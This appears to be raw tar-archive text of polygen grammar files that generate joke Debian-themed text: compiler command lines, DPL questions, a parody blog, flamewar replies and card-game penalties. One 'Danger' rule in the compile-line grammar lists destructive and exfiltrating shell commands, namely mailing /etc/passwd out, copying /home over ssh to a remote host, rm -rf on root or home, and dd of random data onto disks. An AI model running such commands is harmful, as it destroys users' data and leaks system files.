_ | accessory | addendum | additional | adjunct | ancillary | assisting | auxiliary | backing | binary | collateral | complementary | --contingent | --defective | --deputy | extra | helper | -inessential | instrumental | modal | main | new | -nonessential | --other | peripheral | secondary | --servant | slave | master | spare | subordinate | subsidiary | superfluous | supernumerary | supplementary | supporting | transitive | ulterior | unessential | nonexistant | unknown ; Digit ::= 0|1|2|3|4|5|6|7|8|9 ; Number ::= Digit (_| ++^Number) ; polygen-1.0.6.ds2/grm/eng/debian/compileline.grm0000644000175000017500000002515610503023556021001 0ustar enricoenricoI ::= "title: Compilation line\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: useable\n" ^ "topic: Debian\n" ^ "created: 16/09/2006" ; (* Run with polygen -X 2000 compileline.grm |randtype -l *) S ::= Command ; Command ::= ("g++" | "gcc" | "as" | "cpp" | --"gfortran" | "$CC" ) {Cflags} {"-o" InputFile^".o"} {InputFile^(".c"|".cpp"|".cc"|--".f77")} | ("g++" | "gcc" | "ld" | "ar" | "$LD" ) {Ldflags} {"-o" Filename} {LinkerInput} {Libs} | ------Danger ; Danger ::= "cat /etc/passwd | mail president@whitehouse.gov" | "tar zcf - /home | ssh" Filename^"@varez.uuae.tg \"tar -C/data/`gentarget` zxf -\"" | "rm -rf" ("/ *"|"~/*") | "yes | format c: /autotest" | "dd if=/dev/random of="^Hddev | "yes `polygen damage` >"^Hddev | "polygen compileline.grm" ; Hddev ::= "/dev/"^(s|h)^d^(a|b|c|d) ; InputFile := Filename ; LinkerInput ::= Filename^".o" | LinkerInput (_ | +Filename^".o") ; Cflags ::= {["-g"]} {["-Wall"]} {["-O"^Opt]} {[Cflag]} {[Cflag]} {[Cflag]} {[Cflag]}; Ldflags ::= ["-L"^LinkDir] ["-L"^LinkDir] ["-L"^LinkDir] ; Lib ::= "-lm" | "-lstdc++" | "-lz" ; Libs ::= _ | Lib Libs ; Filename ::= test | module | master | slave | main | aux | extra | functions | callbacks | interface | implementation | ui | gui | templates | utils | utilities | funcs | ----porn | ----crack | --unused | db | base | net | network | sockets | --unknown | old | new | -stuff | --oldstuff | ----impossible | --faulty | ok | tested | random | --boss | -foo | -bar | -baz | ---drink | conn | layer | security | http | ftp | protocol | proto | prot | tcp ; Opt := 0|1|2|3|s; LinkDir ::= ("/usr" | "/usr/local" | "/opt/"^Filename) ^ "/lib/" ^ Filename ; Cflag ::= "-ansi" | "-aux-info" | "-BPREFIX" | "-c" | "-C" | "-combine" | "-dD" | "-dI" | "DIR" | "-dLETTERS" | "-dM" | "-dN" | "-dumpmachine" | "-dumpspecs" | "-dumpversion" | "-E" | "-fabi-version="^N | "-falign-functions="^N | "-falign-jumps="^N | "-falign-labels="^N | "-falign-loops="^N | "-fallow-single-precision" | "-fbounds-check" | "-fbranch-probabilities" | "-fbranch-target-load-optimize" | "-fbranch-target-load-optimize2" | "-fbtr-bb-exclusive" | "-fcaller-saves" | "-fcheck-new" | "-fcond-mismatch" | "-fconserve-space" | "-fcprop-registers" | "-fcrossjumping" | "-fcse-follow-jumps" | "-fcse-skip-blocks" | "-fcx-limited-range" | "-fdata-sections" | "-fdelayed-branch" | "-fdelete-null-pointer-checks" | "-fdiagnostics-show-location="^(once|"every-line") | "-fdiagnostics-show-options" | "-fdump-class-hierarchy-"^N | "-fdump-ipa-all" | "-fdump-ipa-cgraph" | "-fdump-translation-unit-"^N | "-fdump-tree-alias" | "-fdump-tree-all" | "-fdump-tree-ccp-"^N | "-fdump-tree-cfg" | "-fdump-tree-ch" | "-fdump-tree-copyrename-"^N | "-fdump-tree-dce-"^N | "-fdump-tree-dom-"^N | "-fdump-tree-dse-"^N | "-fdump-tree-forwprop-"^N | "-fdump-tree-fre-"^N | "-fdump-tree-gimple"^["-raw"] | "-fdump-tree-inlined-"^N | "-fdump-tree-mudflap-"^N | "-fdump-tree-nrv" | "-fdump-tree-optimized-"^N | "-fdump-tree-original-"^N | "-fdump-tree-phiopt-"^N | "-fdump-tree-pre-"^N | "-fdump-tree-salias" | "-fdump-tree-sink" | "-fdump-tree-sra-"^N | "-fdump-tree-ssa-"^N | "-fdump-tree-storeccp-"^N | "-fdump-tree-vcg" | "-fdump-tree-vect" | "-fdump-tree-vrp-"^N | "-fdump-unnumbered" | "-fearly-inlining" | "-feliminate-dwarf2-dups" | "-feliminate-unused-debug-symbols" | "-feliminate-unused-debug-types" | "-fexpensive-optimizations" | "-ffast-math" | "-ffinite-math-only" | "-ffloat-store" | "-fforce-addr" | "-ffor-scope" | "-ffreestanding" | "-ffriend-injection" | "-ffunction-sections" | "-fgcse" | "-fgcse-after-reload" | "-fgcse-las" | "-fgcse-lm" | "-fgcse-sm" | "-fgnu-runtime" | "-fhosted" | "-fif-conversion" | "-fif-conversion2" | "-finline-functions" | "-finline-functions-called-once" | "-finline-limit="^N | "-fivopts" | "-fkeep-inline-functions" | "-fkeep-static-consts" | "-floop-optimize" | "-floop-optimize2" | "-fmem-report" | "-fmerge-all-constants" | "-fmerge-constants" | "-fmessage-length="^N | "-fmodulo-sched" | "-fmove-loop-invariants" | "-fms-extensions" | "-fmudflap" | "-fmudflapir" | "-fmudflapth" | "-fnext-runtime" | "-fno-access-control" | "-fno-asm" | "-fno-branch-count-reg" | "-fno-builtin" | "-fno-builtin-"^Filename | "-fno-const-strings" | "-fno-default-inline" | "-fno-defer-pop" | "-fno-elide-constructors" | "-fno-enforce-eh-specs" | "-fno-for-scope" | "-fno-function-cse" | "-fno-gnu-keywords" | "-fno-guess-branch-probability" | "-fno-implement-inlines" | "-fno-implicit-inline-templates" | "-fno-implicit-templates" | "-fno-inline" | "-fno-math-errno" | "-fno-nil-receivers" | "-fno-nonansi-builtins" | "-fno-operator-names" | "-fno-optional-diags" | "-fno-peephole" | "-fno-peephole2" | "-fno-rtti" | "-fno-sched-interblock" | "-fno-sched-spec" | "-fno-threadsafe-statics" | "-fno-trapping-math" | "-fno-weak" | "-fno-zero-initialized-in-bss" | "-fobjc-call-cxx-cdtors" | "-fobjc-direct-dispatch" | "-fobjc-exceptions" | "-fobjc-gc" | "-fomit-frame-pointer" | "-foptimize-register-move" | "-foptimize-sibling-calls" | "-fpeel-loops" | "-fpermissive" | "-fprefetch-loop-arrays" | "-fprofile-arcs" | "-fprofile-generate" | "-fprofile-use" | "-fprofile-values" | "-frandom-seed="^Filename | "-fregmove" | "-frename-registers" | "-freorder-blocks" | "-freorder-blocks-and-partition" | "-freorder-functions" | "-freplace-objc-classes" | "-frepo" | "-frerun-cse-after-loop" | "-frerun-loop-opt" | "-freschedule-modulo-scheduled-loops" | "-frounding-math" | "-fsched2-use-superblocks" | "-fsched2-use-traces" | "-fsched-spec-load" | "-fsched-spec-load-dangerous" | "-fsched-stalled-insns-dep="^N | "-fsched-stalled-insns="^N | "-fschedule-insns" | "-fschedule-insns2" | "-fsched-verbose="^N | "-fsignaling-nans" | "-fsigned-bitfields" | "-fsigned-char" | "-fsingle-precision-constant" | "-fsplit-ivs-in-unroller" | "-fstack-protector" | "-fstack-protector-all" | "-fstats" | "-fstrength-reduce" | "-fstrict-aliasing" | "-fsyntax-only" | "-ftemplate-depth-"^N | "-ftest-coverage" | "-fthread-jumps" | "-ftime-report" | "-ftracer" | "-ftree-ccp" | "-ftree-ch" | "-ftree-copy-prop" | "-ftree-copyrename" | "-ftree-dce" | "-ftree-dominator-opts" | "-ftree-dse" | "-ftree-fre" | "-ftree-loop-im" | "-ftree-loop-ivcanon" | "-ftree-loop-linear" | "-ftree-loop-optimize" | "-ftree-lrs" | "-ftree-pre" | "-ftree-salias" | "-ftree-sink" | "-ftree-sra" | "-ftree-store-ccp" | "-ftree-store-copy-prop" | "-ftree-ter" | "-ftree-vect-loop-version" | "-ftree-vectorize" | "-ftree-vectorizer-verbose="^N | "-funroll-all-loops" | "-funroll-loops" | "-funsafe-loop-optimizations" | "-funsafe-math-optimizations" | "-funsigned-bitfields" | "-funsigned-char" | "-funswitch-loops" | "-fuse-cxa-atexit" | "-fvariable-expansion-in-unroller" | "-fvar-tracking" | "-fvisibility-inlines-hidden" | "-fvpt" | "-fweb" | "-fwhole-program" | "-fworking-directory" | "-fzero-link" | "-g" | "-gcoff" | "-gdwarf-2" | "-gen-decls" | "-ggdb" | "-g"^N | "-gstabs" | "-gstabs+" | "-gvms" | "-gxcoff" | "-gxcoff+" | "-H" | "--help" | "-I-" | "-IDIR" | "-idirafter" | "-imacros" | "-imultilib" | "-include" | "-iprefix" | "-iquoteDIR" | "-isysroot" | "-isystem" | "-iwithprefix" | "-iwithprefixbefore" | "LANGUAGE" | "-LDIR" | "-M" | "-MF" | "-MG" | "-MM" | "-MP" | "-MQ" | "-MT" | "-no-integrated-cpp" | "-nostdinc" | "-nostdinc++" | "-o" | "-O" | "-O0" | "-O1" | "-O2" | "-O3" | "OPTION" | "-Os" | "-p" | "-P" | "--param" | "-pass-exit-codes" | "-pedantic" | "-pedantic-errors" | "-pg" | "-pipe" | "-print-file-name="^Filename | "-print-libgcc-file-name" | "-print-multi-directory" | "-print-multi-lib" | "-print-prog-name="^Filename | "-print-search-dirs" | "-Q" | "-remap" | "-S" | "-save-temps" | "-specs="^Filename | "--sysroot="^Filename | "--target-help" | "-time" | "-traditional" | "-traditional-cpp" | "-trigraphs" | "-undef" | "-v" | "--version" | "-w" | "-Wabi" | "-Waggregate-return" | "-Wall" | "-Wassign-intercept" | "-Wbad-function-cast" | "-Wcast-align" | "-Wcast-qual" | "-Wc++-compat" | "-Wchar-subscripts" | "-Wcomment" | "-Wconversion" | "-Wctor-dtor-privacy" | "-Wdeclaration-after-statement" | "-Wdisabled-optimization" | "-Weffc++" | "-Werror" | "-Werror-implicit-function-declaration" | "-Wextra" | "-Wfatal-errors" | "-Wfloat-equal" | "-Wformat" | "-Wformat=2" | "-Wformat-nonliteral" | "-Wformat-security" | "-Wformat-y2k" | "-Wimplicit" | "-Wimplicit-function-declaration" | "-Wimplicit-int" | "-Wimport" | "-Winit-self" | "-Winline" | "-Winvalid-pch" | "-Wlarger-than-"^N | "-Wlong-long" | "-Wmain" | "-Wmissing-braces" | "-Wmissing-declarations" | "-Wmissing-field-initializers" | "-Wmissing-format-attribute" | "-Wmissing-include-dirs" | "-Wmissing-noreturn" | "-Wmissing-prototypes" | "-Wnested-externs" | "-Wno-attributes" | "-Wno-deprecated" | "-Wno-deprecated-declarations" | "-Wno-div-by-zero" | "-Wno-endif-labels" | "-Wno-format-extra-args" | "-Wno-import" | "-Wno-int-to-pointer-cast" | "-Wno-invalid-offsetof" | "-Wno-multichar" | "-Wnonnull" | "-Wno-non-template-friend" | "-Wnon-virtual-dtor" | "-Wno-pmf-conversions" | "-Wno-pointer-to-int-cast" | "-Wno-pragmas" | "-Wno-protocol" | "-Wold-style-cast" | "-Wold-style-definition" | "-Woverloaded-virtual" | "-Wpacked" | "-Wpadded" | "-Wparentheses" | "-Wpointer-arith" | "-Wpointer-sign" | "-Wredundant-decls" | "-Wreorder" | "-Wreturn-type" | "-Wselector" | "-Wsequence-point" | "-Wshadow" | "-Wsign-compare" | "-Wsign-promo" | "-Wstack-protector" | "-Wstrict-aliasing" | "-Wstrict-aliasing=2" | "-Wstrict-null-sentinel" | "-Wstrict-prototypes" | "-Wstrict-selector-match" | "-Wswitch" | "-Wswitch-default" | "-Wswitch-enum" | "-Wsystem-headers" | "-Wtraditional" | "-Wtrigraphs" | "-Wundeclared-selector" | "-Wundef" | "-Wuninitialized" | "-Wunknown-pragmas" | "-Wunreachable-code" | "-Wunsafe-loop-optimizations" | "-Wunused" | "-Wunused-function" | "-Wunused-label" | "-Wunused-parameter" | "-Wunused-value" | "-Wunused-variable" | "-Wvariadic-macros" | "-Wvolatile-register-var" | "-Wwrite-strings" | "-x" | "-Xassembler" | "-Xpreprocessor" ; N := 0|1|2|3|4|5|6|7|8|9; (* nker Options_ *Note Options for Linking: Link Options. OBJECT-FILE-NAME -lLIBRARY -nostartfiles -nodefaultlibs -nostdlib -pie -rdynamic -s -static -static-libgcc -shared -shared-libgcc -symbolic -Wl,OPTION -Xlinker OPTION -u SYMBOL *) polygen-1.0.6.ds2/grm/eng/debian/dplquestion.grm0000644000175000017500000000404710450444205021043 0ustar enricoenricoI ::= "title: Questions to the DPL candidates\n" ^ "author: Enrico Zini <enrico@debian.org> and the Spanish Cabal\n" ^ "language: english\n" ^ "status: embrionic\n" ^ "topic: Debian\n" ^ "created: 3/03/2006" ; S ::= \Question ; Question ::= >Question1 | "What would you like" ( _ | not ) "to be remembered for?" | "What past" ( "DPL" | >Charge ) ( "did you influence the" | "influenced you the" ) ( most | least ) ^"?" | "How can Debian and" Distro ( +_ | not ) "coexist?" | ( "How are you going to improve" | "What do you think about" ) Issue "in Debian?" | "Do you think that there are" ( "too few" | "too many" | "enough" ) ( packages | Charge^"s" ) "in Debian?" | ( +"How will you stop" | "Have you ever been part of" ) BadIssue "in Debian?" | -(( "Do you" | "Would you like to" ) "hug teletubbies?") | "Would you replace Debian Developers with teletubbies?" | "Should a DPL" ( _ | not ) "have a" ( moustache | evil twin | Charge ) ^"?" | ("Would" | "Will") "you" ( drop | keep ) ( "Gnome" | "KDE" | Editor ) ^"?" | Editor "or" Editor ^"?" | "Why is not" Editor "the default editor?" ; Question1 ::= ( _ | "please" ) ( "write a list of" | "describe" | "point to" ) Num ( "people" | "debian developers" | "upstream developers" | >Charge ) you ( "would like to" | "will" ) ( "kick out of the project" | "have as DPL instead of you" ) ^"."; Num ::= 3 | 5 | 7; Distro ::= -"Debian" | +"Ubuntu" | "Xandros" | "Linspire" | "Progeny" | "Fedora" | "Gentoo" | "Knoppix" | "Slackware" | "Yggdrasil" | "Mandriva" ; Issue ::= "transparency" | "the number of packages" | "the frequency of releases" | "the Debian Women subproject" ; BadIssue ::= "antisocial behaviour" | cabals | flamewars | "blog memes" | teletubbies | "proprietary firmware" | "the GFDL" | trolls | sexism ; Charge ::= "DAM" | "ftp-master" | "DSA" | "cabal" | "release manager" | "Sven Luther" | "James Troup" ; Editor ::= ++"vim" | ++"Emacs" | +"nano" | "aee" | "fte" | "jed" | "joe" | "lpe" | "kate" | "gedit" | "pico" | "teco" | "ed" | --"notepad" ; polygen-1.0.6.ds2/grm/eng/debian/evan.grm0000644000175000017500000002334510473272111017427 0ustar enricoenricoI ::= "title: Evan\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: Debian\n" ^ "created: " ^ ("20/06/2006" | "1 Messidor CCXIV") ; S ::= "

      "^Day Month Year ^"

      \n\n"^ Entries; Entries ::= Entry ( _ | ^"\n\n"^ Entry ); Entry ::= "

      "^ Title ^"

      \n\n"^ Text ^ "\n\n" ^"

      "^ Tags ^"

      " ; Day ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 ; (* Month and day names taken from http://en.wikipedia.org/wiki/French_Republican_Calendar *) Month ::= "Vendémiaire" | "Brumaire" | "Frimaire" | "Nivôse" | "Pluviôse" | "Ventôse" | "Germinal" | "Floréal" | "Prairial" | "Messidor" | "Thermidor" | "Fructidor" ; Year ::= "C" ^ Year0 ; Year0 ::= (++"C" | "X") ^ Year1 ; Year1 ::= (++"X" | +"V" | "I") ^ Year2 ; Year2 ::= ("V" | +"I" | _) ^ Year3 ; Year3 ::= (--"V" | +_ | "I") ^ ( ++_ | Year3 ) ; DayName ::= "Raisin" | "Safran" | "Châtaigne" | "Colchique" | "Cheval" | "Balsamine" | "Carotte" | "Amarante" | "Panais" | "Cuve" | "Pomme de terre" | "Immortelle" | "Potiron" | "Réséda" | "Âne" | "Belle de nuit" | "Citrouille" | "Sarrasin" | "Tournesol" | "Pressoir" | "Chanvre" | "Pêche" | "Navet" | "Amaryllis" | "Boeuf" | "Aubergine" | "Piment" | "Tomate" | "Orge" | "Tonneau" | "Pomme" | "Céleri" | "Poire" | "Betterave" | "Oie" | "Héliotrope" | "Figue" | "Scorsonère" | "Alisier" | "Charrue" | "Salsifis" | "Macre" | "Topinambour" | "Endive" | "Dindon" | "Chervis" | "Cresson" | "Dentelaire" | "Grenade" | "Herse" | "Bacchante" | "Azerole" | "Garance" | "Orange" | "Faisan" | "Pistache" | "Macjonc" | "Coing" | "Cormier" | "Rouleau" | "Raiponce" | "Turneps" | "Chicorée" | "Nèfle" | "Cochon" | "Mâche" | "Chou-fleur" | "Miel" | "Genièvre" | "Pioche" | "Cire" | "Raifort" | "Cèdre" | "Sapin" | "Chevreuil" | "Ajonc" | "Cyprès" | "Lierre" | "Sabine" | "Hoyau" | "Erable sucré" | "Bruyère" | "Roseau" | "Oseille" | "Grillon" | "Pignon" | "Liège" | "Truffe" | "Olive" | "Pelle" | "Tourbe" | "Houille" | "Bitume" | "Soufre" | "Chien" | "Lave" | "Terre végétale" | "Fumier" | "Salpêtre" | "Fléau" | "Granit" | "Argile" | "Ardoise" | "Grès" | "Lapin" | "Silex" | "Marne" | "Pierre à chaux" | "Marbre" | "Van" | "Pierre à plâtre" | "Sel" | "Fer" | "Cuivre" | "Chat" | "Étain" | "Plomb" | "Zinc" | "Mercure" | "Crible" | "Lauréole" | "Mousse" | "Fragon" | "Perce-neige" | "Taureau" | "Laurier-thym" | "Amadouvier" | "Mézéréon" | "Peuplier" | "Coignée" | "Ellébore" | "Brocoli" | "Laurier" | "Avelinier" | "Vache" | "Buis" | "Lichen" | "If" | "Pulmonaire" | "Serpette" | "Thlaspi" | "Thimelé" | "Chiendent" | "Trainasse" | "Lièvre" | "Guède" | "Noisetier" | "Cyclamen" | "Chélidoine" | "Traîneau" | "Tussilage" | "Cornouiller" | "Violier" | "Troène" | "Bouc" | "Asaret" | "Alaterne" | "Violette" | "Marceau" | "Bêche" | "Narcisse" | "Orme" | "Fumeterre" | "Vélar" | "Chèvre" | "Épinard" | "Doronic" | "Mouron" | "Cerfeuil" | "Cordeau" | "Mandragore" | "Persil" | "Cochléaria" | "Pâquerette" | "Thon" | "Pissenlit" | "Sylve" | "Capillaire" | "Frêne" | "Plantoir" | "Primevère" | "Platane" | "Asperge" | "Tulipe" | "Poule" | "Bette" | "Bouleau" | "Jonquille" | "Aulne" | "Couvoir" | "Pervenche" | "Charme" | "Morille" | "Hêtre" | "Abeille" | "Laitue" | "Mélèze" | "Ciguë" | "Radis" | "Ruche" | "Gainier" | "Romaine" | "Marronnier" | "Roquette" | "Pigeon" | "Lilas" | "Anémone" | "Pensée" | "Myrtille" | "Greffoir" | "Rose" | "Chêne" | "Fougère" | "Aubépine" | "Rossignol" | "Ancolie" | "Muguet" | "Champignon" | "Hyacinthe" | "Râteau" | "Rhubarbe" | "Sainfoin" | "Bâton-d'or" | "Chamérops" | "Ver à soie" | "Consoude" | "Pimprenelle" | "Corbeille d'or" | "Arroche" | "Sarcloir" | "Statice" | "Fritillaire" | "Bourrache" | "Valériane" | "Carpe" | "Fusain" | "Civette" | "Buglosse" | "Sénevé" | "Houlette" | "Luzerne" | "Hémérocalle" | "Trèfle" | "Angélique" | "Canard" | "Mélisse" | "Fromental" | "Martagon" | "Serpolet" | "Faux" | "Fraise" | "Bétoine" | "Pois" | "Acacia" | "Caille" | "Oeillet" | "Sureau" | "Pavot" | "Tilleul" | "Fourche" | "Barbeau" | "Camomille" | "Chèvrefeuille" | "caille-lait" | "Tanche" | "Jasmin" | "Verveine" | "Thym" | "Pivoine" | "Chariot" | "Seigle" | "Avoine" | "Oignon" | "Véronique" | "Mulet" | "Romarin" | "Concombre" | "Echalote" | "Absinthe" | "Faucille" | "Coriandre" | "Artichaut" | "Girofle" | "Lavande" | "Chamois" | "Tabac" | "Groseille" | "Gesse" | "Cerise" | "Parc" | "Menthe" | "Cumin" | "Haricot" | "Orcanète" | "Pintade" | "Sauge" | "Ail" | "Vesce" | "Blé" | "Chalémie" | "Epeautre" | "Bouillon blanc" | "Melon" | "Ivraie" | "Bélier" | "Prêle" | "Armoise" | "Carthame" | "Mûre" | "Arrosoir" | "Panis" | "Salicorne" | "Abricot" | "Basilic" | "Brebis" | "Guimauve" | "Lin" | "Amande" | "Gentiane" | "Ecluse" | "Carline" | "Câprier" | "Lentille" | "Aunée" | "Loutre" | "Myrte" | "Colza" | "Lupin" | "Coton" | "Moulin" | "Prune" | "Millet" | "Lycoperdon" | "Escourgeon" | "Saumon" | "Tubéreuse" | "Sucrion" | "Apocyn" | "Réglisse" | "Echelle" | "Pastèque" | "Fenouil" | "Epine vinette" | "Noix" | "Truite" | "Citron" | "Cardère" | "Nerprun" | "Tagette" | "Hotte" | "Eglantine" | "Noisette" | "Houblon" | "Sorgho" | "Ecrevisse" | "Bigarade" | "Verge d'or" | "Maïs" | "Marron" | "Panier" ; Tags ::= "tags:" TagList; TagList ::= ---Tag | Tag ^ "," TagList; Tag ::= advocacy | blog | blogs | bornfreund | cache | calendar | canada | captain | community | copyright | dns | don | feed | freedom | geist | jobs | marcus | marti | messidor | michael | montreal | nefarious | nested | online | parody | parser | phillips | pigdog | piglog | pingomatic | planet | poisoning | propaganda | quebec | rss | rye | sam | universal | web | whisky | yes ; Text ::= "

      "^ ( "So," | "Ok, well," | \ ) LongText ^"." \ Conclusion ^"

      "; LongText ::= FirstPhrase | FirstPhrase and LongPhrase | FirstPhrase "("^\ AnyPhrase ^")" | FirstPhrase ^".

      "^ \ LongPhrase ; LongPhrase ::= ++++ AnyPhrase | LongPhrase and LongPhrase | LongPhrase "("^\ AnyPhrase ^")" | LongPhrase ^".

      "^ \ LongPhrase ; AnyPhrase ::= FirstPhrase | Phrase ; Title ::= ("I" LoveHate | "Creative re-use of" | \) SimpleTitle ; SimpleTitle ::= "my big mouth" | "Planet" | "international shipping" | Website | "some things I've noticed" | "three décades of blogging" | "other weeks" | "my brilliant invention" | "Wikitravel content" | "Ikea" | "Firefox 1.5.0.4" | "gnus of the world" | "net Neutrality" | "rainy Saturday" | "Evan Almighty" | "Dang!" | "Un-dang!" | "woohoo" ; LoveHate ::= "♥" | "☠" ; Period ::= "second" | "minute" | "hour" | "day" | "week" | "month" | "year" | "decade" ; FirstPhrase ::= - "it's the first day of a new season in the French Revolutionary Calendar" | "today is the day of" DayName "in the revolutionary calendar" | "today is my "^Day^"-"^Period^" blogiversary" | "I missed one day of blogging" | "I gotta say" | "I saw the link to" Website | "I'm pretty excited" | "yes, I just made that word up" | "I've been blogging for a couple of months now" | "I've been listed on the" Website "meta-blog for Montreal bloggers" | "I guess it was probably a good idea not to name the site" Website | -"Honk honk honk! honk honk honk honk!" | "it's about time" | "I woke up at 5AM this morning and couldn't get back to sleep" | "Long" (hot|cold) "days in Montreal -- which means a lot of fun for me" ; Phrase ::= >FirstPhrase | "anyways, I've added the" Website "badge to my sidebar" | "I'm going to have to start instituting some anti-spam measures" | "building Ikea furniture isn't really all that fun" ; Website ::= (ping | net | chicken | yul | blog | wiki | pig | geo) ^ (omatic | joven | blog | wiki | travel | dog | url) ^ "." ^ (com | net | org | edu) ; Technology ::= "DNS poisoning" | "blog" | "XHTML" | "WiLiKi" | "OpenID" ; Conclusion ::= "right? Right." | "I think I'll have to have some rye whisky to celebrate." | "is this some kind of nefarious" Technology ^", or a real hacking? Or both?" | Technology "makes me very sad." | "but I've been pretty happy about it." | "what the chicken?" | "all in all, I'm glad I've been doing this, and I hope it continues to grow." | "maybe it's the kick in the pants needed to get some of my favorite writers writing again." | "only... shouldn't that be Marcus Bornfreund?" | "and if my luck holds this post will show up on" Website "when I post it." | "but there's still a lot Todo before that'd be ready." | "so I'm tempted to try it here." | "it's a cool part of being in such a multiculti city." | "so we'll see what happens here." | "hooray for me!" | "ech." | "then again, if it weren't this, it'd be something else." | "I'm not sure any of this makes sense, but it's kind of interesting to see these automated estimates." | "at least I hope so!" | "right now I'm concentrating on the mainline functionality." | "looks pretty good to me!" | "the cats were mad, but they always are." | "now, I read his blog daily. Gar." | "I'm looking forward to it." | "I highly recommend it." ; polygen-1.0.6.ds2/grm/eng/debian/flame.grm0000644000175000017500000000564410503011735017561 0ustar enricoenricoI ::= "title: Flamewar message\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: useable\n" ^ "topic: Debian\n" ^ "created: 30/06/2006" ; S ::= \ Phrase ^"."\ Conclusion ^("."|"!"|-"!!"|--"!!!"|---"!!!!") ; Content ::= Phrase | Phrase ^"." Pause ^"." Phrase ; Phrase ::= (_|-Please) ReproachingRequest [Reinforce] ^("."\|",") [Please] ReasonablePlea (_|-Reinforce); ReasonablePlea ::= "let's not drag this into another flame war" | "do not continue this thread" | "let's be reasonable" ; ReproachingRequest ::= "you are welcome to propose a GR" | Please {(quit|stop) BadThing} and {start GoodThing} | Please {(quit|stop) BadThing} | Please {start GoodThing} | "stop CC-ing me" ; Please ::= please | kindly | do (me|us|us all|everyone) a favour and ; Reinforce ::= "at once" | "one day" | "please" | "if you can" | "thank you" ; Pause ::= [just] my two ( [euro^] cents | pence ) | [very] friendly | "sorry, but I need to get it out of my chest" | "/me ducks" | "SCNR" | "I'll not answer this thread anymore" | "I'm not going to followup" [this thread] [anymore] | "I'm not a troll" | "I'm just making a polite request" | "I'd rather not have written this message" | "I" (apoligise|apologize) if you (perceive this as BadThing | don't perceive this as GoodThing) | "I wonder where is freedom of speech" | ditto ; BadThing ::= "being off-topic" | whining | insulting | (using|writing with) bad grammar | "CC-ing when writing to the list" | "doing ad-hominem attacks" | being Bad | posting [nonsense | Bad messages] | poisoning the discussion | (misquoting|ignoring) the policy ; GoodThing ::= "doing something useful" | "using correct" (grammar|-grammer) | "correctly using Mail-Followup-To" | being Good | posting [Good messages] | (reading|understanding|correctly quoting) the policy ; Bad ::= insulting | irresponsible | factually wrong | imprecise | vague | confused | ambiguous | bland | erratic | frivolous | fuzzy | generic | gratuitous | inaccurate | incoherent | inconsistent | indecisive | inexact | irresolute | lazy | lax | meaningless | obscure | opaque | out of focus | subtle | unclear | vacuous | abusive | arrogant | calumnious | cold | insolent | offensive | fastidious | picky | religious | rigid | strict ; Good ::= responsible | precise | explicit | unambiguous | correct | accurate | coherent | consistent | exact | meaningful | clear | focused | calm | careful | detailed | direct | rigorous | strict | "well-defined" ; Conclusion ::= >Pause | (_|-Please) >ReasonablePlea (_|-Reinforce) | (_|-Please) "do not send copies of list mail to me; I read the list" | (_|-Please) "no private replies" (_|-Reinforce) | ("*plonk*" | "*PLONK*" ) | "HTH" ["HAND" ["etc."]] ; polygen-1.0.6.ds2/grm/eng/debian/mao.grm0000644000175000017500000000607410501347732017256 0ustar enricoenricoI ::= "title: Mao\n" ^ "author: Gerfried Fuchs <alfie@debian.org>\n" ^ "language: english\n" ^ "status: embrionic\n" ^ "topic: Debian\n" ^ "created: 09/09/2006" ; S ::= Error ; Error ::= ++"Talking" | ("Failure to" >Failure) | "Not your turn" | +"Bad call" | -"Penalized for mentioning a P-Of-O during a P-Of-O" | End "Point of Order" | --"Lying, cheating, calling our leader in Vain" | "Doesn't fit" | -ExoticError ; Failure ::= +play within 5 seconds | wish a Very nice day | --say the name of a devil | --say "\""^LongWord^"\"" | take CardAmount and say that you have done so | +say the Card of Suit | "say \"That's the Badger\"" | enforce your own rule | -ExoticFailure ; ExoticError ::= "Not a card" | "Not enough" ThingToHave ; ExoticFailure ::= "put the card in the right deck" | name a famous \Nationality singer | sing a \Nationality happy song | play with ThingToHave ; End ::= ^ | "End of"; Card ::= two | three | four | five | six | seven | eight | nine | ten | jack | queen | king | ace; Suit ::= "Hearts" | "Diamonds" | "Spades" | "Clubs"; Very ::= ^"" | very Very; CardAmount ::= "a penalty card" | Number "penalty cards" ; Number ::= 2 | -3 | --4 | ----5 | --------6 | ----------------7 ; LongWord ::= anaesthesiologists | anthropomorphising | archaeoastronomies | compartmentalising | constitutionalised | crystallisabilities | cyanomethaemoglobin | diethylstilboestrol | disdenominationalise | dishonourablenesses | disindividualising | disindustrialising | electroanaesthesia | electrohomoeopathy | haemoconcentration | haemoglobinopathies | hypercholesterolaemia | hyperspiritualising | institutionalising | interjectionalised | internationalising | microcolourimetrically | microminiaturising | micropalaeontologist | nonacknowledgement | overindustrialises | oversentimentalise | palaeichthyologist | palaeoanthropography | palaeoanthropologist | palaeobiogeography | palaeoclimatologist | palaeodendrologist | palaeoentomologist | palaeogeographical | palaeoherpetologist | palaeontographical | palaeopathologists | palaeophysiography | parathyroidectomised | phytohaemagglutinin | polioencephalomyelitis | polytetrafluoroethylene | preacknowledgement | premillennialising | quintessentialised | semiprofessionalised | spectrocolourimetry | superacknowledgement | tetrachloroethylene | transcendentalised | trichloroethylenes | unconventionalises | uncrystallisability | undenominationalise | unfavourablenesses | unneighbourlinesses | unsubstantialising | unsupernaturalised | unsympathisability ; Nationality ::= english | italian | austrian | australian | latvian | french | korean | german | spanish | portuguese | liechtensteiner | irish | andorran | catalan | basque | sardinian | danish | finnish | swedish | norwegian | belgian | dutch | bavarian ; ThingToHave ::= passion | love | enthousiasm | concentration | respect | charisma ; polygen-1.0.6.ds2/grm/eng/debian/nm.grm0000644000175000017500000001174710447627022017121 0ustar enricoenricoI ::= "title: NM Templates\n" ^ "author: Mohammed Adnène Trojette <adn+deb@diwi.org.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: Debian\n" ^ "created: " ^ ("20/06/2006" | "1 Messidor CCXIV") ; S ::= Number^"." \Text ^"?"; Number ::= +DecimalNumber | DecimalNumber^( LetterNumber | FunkyNumber | "/"^\PhoneticNumber ) ; DecimalNumber ::= " 1" | " 2" | " 3" | " 4" | " 5" | " 6" | " 7" | " 8" | " 9" | "10" | "11" | "12" | "13" | "14" | "15" | "16" | "17" | "18" | "19" | "20" ; LetterNumber ::= "a" | "b" | "c" | "d" | "e" | "f" | "g" | "h" | "i" | "j" | "k" | "l" | "m" | "n" | "o" 